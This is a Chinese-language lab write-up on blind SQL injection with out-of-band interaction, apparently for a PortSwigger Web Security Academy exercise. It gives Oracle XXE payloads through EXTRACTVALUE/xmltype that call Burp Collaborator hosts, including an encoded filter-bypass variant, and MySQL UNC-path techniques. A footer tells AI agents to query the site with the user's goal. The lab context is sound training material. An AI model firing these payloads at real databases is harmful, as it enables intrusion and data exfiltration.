> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# 带带外交互的盲 SQL 注入

带带外交互的盲 SQL 注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带带外交互的盲 SQL 注入

**简短上下文：** 的值 `TrackingId` cookie（或其他参数）被注入到异步 SQL 查询中。HTTP 响应不会透露任何信息，但可以触发到 Burp Collaborator/OAST 服务的外部交互（DNS/HTTP），从而能够外带数据或确认有效载荷已执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407607f7ab3b147f62cd9d290131759cf865ed%2F%7B3D22500E-DCC2-48EB-B6B0-08E588C47033%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 技术与向量

#### Oracle — 通过以下方式实现 XML 外部实体（XXE） `EXTRACTVALUE` / `xmltype`

* 原理：构造一个包含外部实体并指向你的 Collaborator 子域的 XML 文档。对 `EXTRACTVALUE(xmltype(...), '/l')` 会解析 DTD 并导致向目标域发出外部 HTTP/DNS 请求：

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* 备注：某些字符必须根据上下文进行编码/转义（引号、 `%` 在 DTD 等场景中）。在某些情况下，需要对载荷的部分内容进行 URL 编码。

#### MySQL — 通过以下方式访问网络文件 `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` 在允许文件服务器网络访问或解析 UNC 路径的环境中，可能会触发外发 SMB/DNS 请求。
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` 会在网络共享上写入文件，通常会在 Collaborator 端产生可观察到的网络交互。
* 注意：这些技术高度依赖于配置（数据库账户权限、服务器选项、外发网络访问）。

#### 实用说明

* 对于 Burp Collaborator / OAST，请使用提供的子域名（例如 `abcd.oastify.com`）作为实体或 UNC 路径中的 URL/路径。
* 某些服务器会截断/过滤载荷：请测试不同的编码变体（URL 编码、 `%` 转义 → `%25`、注释变体等）。
* 当收到 Collaborator 请求时，就证明发生了带外执行（DNS/HTTP/SMB），从而确认漏洞存在。

#### 示例——带编码的变体（注意：你已经测试并收到了请求）

* 编码示例（你已提供）：

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` 编码 → `%25` 和 `;` → `%3b` 用于绕过某些过滤/解析。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8b10b8af56f79ac386649aa8cc0d19b678fe96a%2F%7B37815FA9-3A15-4291-96D9-8DD2B861396A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
